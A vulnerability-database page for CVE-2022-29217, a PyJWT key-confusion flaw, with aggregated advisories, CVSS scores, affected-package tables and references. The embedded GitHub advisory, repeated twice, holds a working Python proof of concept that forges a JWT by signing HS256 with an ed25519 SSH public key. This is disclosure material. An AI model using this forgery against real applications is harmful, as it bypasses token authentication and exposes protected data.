CVE-2022-29217
Key confusion through non-blocklisted public key formats in PyJWT
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.4
Key confusion through non-blocklisted public key formats in PyJWT
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
- Record
CVE-2022-29217- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-327
- Updated
- 2026-11-02
EUVDEUVD-2022-0213
7.4
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
- Record
EUVD-2022-0213- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-ffqj-6fqr-9h24
7.4
Key confusion through non-blocklisted public key formats
Impact
What kind of vulnerability is it? Who is impacted?
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.
The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)
For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.
PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.
Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.
From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519
# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()
# Get private key bytes as they would be stored in a file
priv_key_bytes =
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption())
# Get public key bytes as they would be stored in a file
pub_key_bytes =
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)
# Making a good jwt token that should work by signing it with the
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")
# Using HMAC with the public key to trick the receiver to think that the
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
# Of course the receiver should specify ed25519 algorithm to be used if
they specify ed25519 public key. However, if other algorithms are used,
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
# invalid_strings = [
# b"-----BEGIN PUBLIC KEY-----",
# b"-----BEGIN CERTIFICATE-----",
# b"-----BEGIN RSA PUBLIC KEY-----",
# b"ssh-rsa",
# ]
#
# However, OKPAlgorithm (ed25519) accepts the following in
jwt/algorithms.py:
#
# if "-----BEGIN PUBLIC" in str_key:
# return load_pem_public_key(key)
# if "-----BEGIN PRIVATE" in str_key:
# return load_pem_private_key(key, password=None)
# if str_key[0:4] == "ssh-":
# return load_ssh_public_key(key)
#
# These should most likely made…
- Record
GHSA-ffqj-6fqr-9h24- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-327
- Updated
- 2026-11-02
NVD
7.4
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
- Record
CVE-2022-29217- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:N/I:P/A:N - Weakness
- CWE-327
- Updated
- 2026-11-02
OSVALPINE-CVE-2022-29217
7.5
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
- Record
ALPINE-CVE-2022-29217- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-03
OSVAZL-9852
7.5
CVE-2022-29217 affecting package python-jwt for versions less than 2.4.0-1
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
- Record
AZL-9852- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
Show 19 moreShow less
OSV
7.4
Key confusion through non-blocklisted public key formats in PyJWT
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
- Record
CVE-2022-29217- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-327
- Updated
- 2026-11-02
OSVGHSA-ffqj-6fqr-9h24
7.4
Key confusion through non-blocklisted public key formats
Impact
What kind of vulnerability is it? Who is impacted?
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.
The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)
For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.
PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.
Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.
From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519
# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()
# Get private key bytes as they would be stored in a file
priv_key_bytes =
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption())
# Get public key bytes as they would be stored in a file
pub_key_bytes =
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)
# Making a good jwt token that should work by signing it with the
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")
# Using HMAC with the public key to trick the receiver to think that the
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
# Of course the receiver should specify ed25519 algorithm to be used if
they specify ed25519 public key. However, if other algorithms are used,
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
# invalid_strings = [
# b"-----BEGIN PUBLIC KEY-----",
# b"-----BEGIN CERTIFICATE-----",
# b"-----BEGIN RSA PUBLIC KEY-----",
# b"ssh-rsa",
# ]
#
# However, OKPAlgorithm (ed25519) accepts the following in
jwt/algorithms.py:
#
# if "-----BEGIN PUBLIC" in str_key:
# return load_pem_public_key(key)
# if "-----BEGIN PRIVATE" in str_key:
# return load_pem_private_key(key, password=None)
# if str_key[0:4] == "ssh-":
# return load_ssh_public_key(key)
#
# These should most likely made…
- Record
GHSA-ffqj-6fqr-9h24- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-327
- Updated
- 2026-11-02
OSVOESA-2022-1710
7.4
python-jwt security update
PyJWT is a Python library which allows you to encode and decode JSON Web Tokens (JWT). \ JWT is an open, industry-standard (RFC 7519) for representing claims securely between two parties.
Security Fix(es):
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.(CVE-2022-29217)
- Record
OESA-2022-1710- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2022-29217
7.5
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
- Record
UBUNTU-CVE-2022-29217- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVCLSA-2025-1756858338 No score
TuxCare security update for pyjwt (1 CVE)
TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 2.3.0.post1+tuxcare.
- Record
CLSA-2025-1756858338- Updated
- 2026-11-02
OSVCLSA-2025-1757635911 No score
TuxCare security update for dnspython (1 CVE)
TuxCare rebuilt dnspython to address 1 CVE. Fixed in 2.3.0.post1+tuxcare.
- Record
CLSA-2025-1757635911- Updated
- 2026-11-02
OSVCLSA-2025-1765930336 No score
TuxCare security update for pyjwt (1 CVE)
TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 1.7.1.post1+tuxcare.
- Record
CLSA-2025-1765930336- Updated
- 2026-11-02
OSVCLSA-2026-1787038724 No score
TuxCare security update for pyjwt (3 CVEs)
TuxCare rebuilt pyjwt to address 3 CVEs. Fixed in 1.7.1.post3+tuxcare.
- Record
CLSA-2026-1787038724- Updated
- 2026-11-02
OSVDEBIAN-CVE-2022-29217 No score
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
- Record
DEBIAN-CVE-2022-29217- Updated
- 2026-11-03
OSVMGASA-2022-0244 No score
Updated python-pyjwt packages fix security vulnerability
An attacker submitting the JWT token can choose the used signing algorithm (CVE-2022-29217)
- Record
MGASA-2022-0244- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:12139-1 No score
python310-PyJWT-2.4.0-1.1 on GA media
These are all security issues fixed in the python310-PyJWT-2.4.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:12139-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:14987-1 No score
python311-PyJWT-2.10.1-2.1 on GA media
These are all security issues fixed in the python311-PyJWT-2.10.1-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:14987-1- Updated
- 2026-11-02
OSVPYSEC-2022-202 No score
PyJWT is a Python implementation of RFC 7519. PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm. The PyJWT library requires that the application chooses what algorithms are supported. The application can specify jwt.algorithms.get_default_algorithms() to get support for all algorithms, or specify a single algorithm. The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. Users should upgrade to v2.4.0 to receive a patch for this issue. As a workaround, always be explicit with the algorithms that are accepted and expected when decoding.
- Record
PYSEC-2022-202- Updated
- 2026-11-02
OSVSUSE-SU-2022:2401-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2022-29217: Fixed key confusion through non-blocklisted public key format (bsc#1199756).
- Record
SUSE-SU-2022:2401-1- Updated
- 2026-11-02
OSVSUSE-SU-2022:2402-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2022-29217: Fixed key confusion through non-blocklisted public key format (bsc#1199756).
- Record
SUSE-SU-2022:2402-1- Updated
- 2026-11-02
OSVSUSE-SU-2022:2403-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2022-29217: Fixed key confusion through non-blocklisted public key format (bsc#1199756).
- Record
SUSE-SU-2022:2403-1- Updated
- 2026-11-02
OSVSUSE-SU-2022:3545-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2022-29217: Fixed key confusion through non-blocklisted public key formats (bsc#1199756).
- Record
SUSE-SU-2022:3545-1- Updated
- 2026-11-02
OSVSUSE-SU-2023:0794-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
-
CVE-2022-29217: Fixed Key confusion through non-blocklisted public key formats (bsc#1199756).
-
Update in SLE-15 (bsc#1199282, jsc#PM-3243, jsc#SLE-24629)
-
Update to 2.4.0 (bsc#1199756)
- Explicit check the key for ECAlgorithm
- Don't use implicit optionals
- documentation fix: show correct scope
- fix: Update copyright information
- Don't mutate options dictionary in .decode_complete()
- Add support for Python 3.10
- api_jwk: Add PyJWKSet.getitem
- Update usage.rst
- Docs: mention performance reasons for reusing RSAPrivateKey when encoding
- Fixed typo in usage.rst
- Add detached payload support for JWS encoding and decoding
- Replace various string interpolations with f-strings by
- Record
SUSE-SU-2023:0794-1- Updated
- 2026-11-02
OSVUSN-5526-1 No score
pyjwt vulnerability
Aapo Oksman discovered that PyJWT incorrectly handled signatures constructed from SSH public keys. A remote attacker could use this to forge a JWT signature.
- Record
USN-5526-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pyjwtPyPI |
1.5.0 up to 2.4.0 | 2.4.0 |
py3-jwtAlpine:v3.16 |
before 2.4.0-r0 | 2.4.0-r0 |
py3-jwtAlpine:v3.17 |
before 2.4.0-r0 | 2.4.0-r0 |
py3-jwtAlpine:v3.18 |
before 2.4.0-r0 | 2.4.0-r0 |
py3-jwtAlpine:v3.19 |
before 2.4.0-r0 | 2.4.0-r0 |
py3-jwtAlpine:v3.20 |
before 2.4.0-r0 | 2.4.0-r0 |
py3-jwtAlpine:v3.21 |
before 2.4.0-r0 | 2.4.0-r0 |
py3-jwtAlpine:v3.22 |
before 2.4.0-r0 | 2.4.0-r0 |
py3-jwtAlpine:v3.23 |
before 2.4.0-r0 | 2.4.0-r0 |
py3-jwtAlpine:v3.24 |
before 2.4.0-r0 | 2.4.0-r0 |
Show 53 moreShow less
| Package | Affected | Fixed |
|---|---|---|
python-jwtAzure Linux:2 |
before 2.4.0-1 | 2.4.0-1 |
pyjwtTuxCare:PyPI |
2.3.0 up to 2.3.0.post1+tuxcare | 2.3.0.post1+tuxcare |
pyjwtTuxCare:PyPI From an advisory covering 3 CVEs |
1.7.1 up to 1.7.1.post3+tuxcare, plus listed versions 1.7.1.post1+tuxcare1.7.1.post2+tuxcare |
1.7.1.post3+tuxcare |
pyjwtDebian:12 |
before 2.4.0-1 | 2.4.0-1 |
pyjwtDebian:13 |
before 2.4.0-1 | 2.4.0-1 |
pyjwtDebian:14 |
before 2.4.0-1 | 2.4.0-1 |
pyjwtPyPI |
1.5.0 up to 2.4.0, plus listed versions 1.5.11.5.21.5.31.6.01.6.1 Show 11 moreShow less1.6.31.6.41.7.01.7.12.0.02.0.0a12.0.0a22.0.12.1.02.2.02.3.0 |
2.4.0 |
python-pyjwtMageia:8 |
before 2.4.0-1.mga8 | 2.4.0-1.mga8 |
python-jwtopenEuler:20.03-LTS-SP1 |
before 1.7.1-3.oe1 | 1.7.1-3.oe1 |
python-jwtopenEuler:20.03-LTS-SP3 |
before 1.7.1-3.oe1 | 1.7.1-3.oe1 |
python-jwtopenEuler:22.03-LTS |
before 2.3.0-3.oe2203 | 2.3.0-3.oe2203 |
python-PyJWTSUSE:Linux Enterprise Module for Public Cloud 12 |
before 1.5.3-3.16.1 | 1.5.3-3.16.1 |
python-PyJWTSUSE:Linux Enterprise Module for Basesystem 15 SP3 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Linux Enterprise Module for Basesystem 15 SP4 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Linux Enterprise Module for Package Hub 15 SP3 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP2-ESPOS |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP2-LTSS |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP2-BCL |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP2-LTSS |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP2 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Manager Proxy 4.1 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Manager Retail Branch Server 4.1 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Manager Server 4.1 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Enterprise Storage 7 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTopenSUSE:Leap 15.3 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTopenSUSE:Leap 15.4 |
before 1.7.1-150200.3.3.1 | 1.7.1-150200.3.3.1 |
python-PyJWTSUSE:Linux Enterprise Module for Public Cloud 15 SP1 |
before 1.7.1-150100.6.7.1 | 1.7.1-150100.6.7.1 |
python-PyJWTSUSE:Linux Enterprise Module for Public Cloud 15 SP2 |
before 1.7.1-150100.6.7.1 | 1.7.1-150100.6.7.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP1-ESPOS |
before 1.7.1-150100.6.7.1 | 1.7.1-150100.6.7.1 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP1-LTSS |
before 1.7.1-150100.6.7.1 | 1.7.1-150100.6.7.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP1-BCL |
before 1.7.1-150100.6.7.1 | 1.7.1-150100.6.7.1 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP1-LTSS |
before 1.7.1-150100.6.7.1 | 1.7.1-150100.6.7.1 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP1 |
before 1.7.1-150100.6.7.1 | 1.7.1-150100.6.7.1 |
python-PyJWTSUSE:Enterprise Storage 6 |
before 1.7.1-150100.6.7.1 | 1.7.1-150100.6.7.1 |
python-PyJWTSUSE:Linux Enterprise Module for Public Cloud 15 |
before 1.5.3-150000.3.3.1 | 1.5.3-150000.3.3.1 |
python-PyJWTSUSE:Linux Enterprise Module for Basesystem 15 SP4 |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP2-LTSS |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP3-ESPOS |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Linux Enterprise High Performance Computing 15 SP3-LTSS |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Linux Enterprise Real Time 15 SP3 |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP2-LTSS |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Linux Enterprise Server 15 SP3-LTSS |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP2 |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Linux Enterprise Server for SAP Applications 15 SP3 |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Manager Proxy 4.2 |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Manager Server 4.2 |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Enterprise Storage 7 |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTSUSE:Enterprise Storage 7.1 |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
python-PyJWTopenSUSE:Leap 15.4 |
before 2.4.0-150200.3.6.2 | 2.4.0-150200.3.6.2 |
pyjwtUbuntu:18.04:LTS |
before 1.5.3+ds1-1ubuntu0.1, plus listed versions 1.4.2-1.11.5.3+ds1-1 |
1.5.3+ds1-1ubuntu0.1 |
pyjwtUbuntu:20.04:LTS |
before 1.7.1-2ubuntu2.1, plus listed versions 1.7.0-21.7.1-11.7.1-2ubuntu11.7.1-2ubuntu2 |
1.7.1-2ubuntu2.1 |
pyjwtUbuntu:22.04:LTS |
before 2.3.0-1ubuntu0.1, plus listed versions 1.7.1-2ubuntu22.1.0-12.3.0-1 |
2.3.0-1ubuntu0.1 |
python-PyJWTopenSUSE:Tumbleweed |
before 2.10.1-2.1 | 2.10.1-2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected, aliases, references | OSV | |
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2022-29217 is a high vulnerability (CVSS 7.4) in Jpadilla Pyjwt, published May 24, 2022. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.35%, the 71st percentile. Fixed in pyjwt 2.4.0.
References
github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24
github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc
github.com/jpadilla/pyjwt/releases/tag/2.4.0
lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO
lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX
vicarius.io/vsociety/posts/risky-algorithms-algorithm-confusion-in-pyjwt-cve-2022-29217
Show 27 moreShow less
nvd.nist.gov/vuln/detail/CVE-2022-29217
github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2022-202.yaml
lists.fedoraproject.org/archives/list/[email protected]/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX
lists.fedoraproject.org/archives/list/[email protected]/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO
github.com/advisories/GHSA-ffqj-6fqr-9h24
security.alpinelinux.org/vuln/CVE-2022-29217
github.com/CVEProject/cvelistV5/tree/main/cves/2022/29xxx/CVE-2022-29217.json
security-tracker.debian.org/tracker/CVE-2022-29217
github.com/jpadilla/pyjwt
advisories.mageia.org/MGASA-2022-0244.html
bugs.mageia.org/show_bug.cgi?id=30485
lists.fedoraproject.org/archives/list/[email protected]/thread/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO
openeuler.org/en/security/safety-bulletin/detail.html?id=openEuler-SA-2022-1710
suse.com/support/update/announcement/2022/suse-su-20222401-1
bugzilla.suse.com/1199756
suse.com/security/cve/CVE-2022-29217
suse.com/support/update/announcement/2022/suse-su-20222402-1
suse.com/support/update/announcement/2022/suse-su-20222403-1
suse.com/support/update/announcement/2022/suse-su-20223545-1
suse.com/support/update/announcement/2023/suse-su-20230794-1
bugzilla.suse.com/1176785
bugzilla.suse.com/1199282
ubuntu.com/security/CVE-2022-29217
ubuntu.com/security/notices/USN-5526-1
ubuntu.com/security/notices/USN-5526-2
cve.org/CVERecord?id=CVE-2022-29217
lists.opensuse.org/archives/list/[email protected]/thread/ULS2CQWOTPM7SN6Z2YWKR4U2M2XSNHRY
Left out here: the rest of 2 source descriptions. The JSON record has them.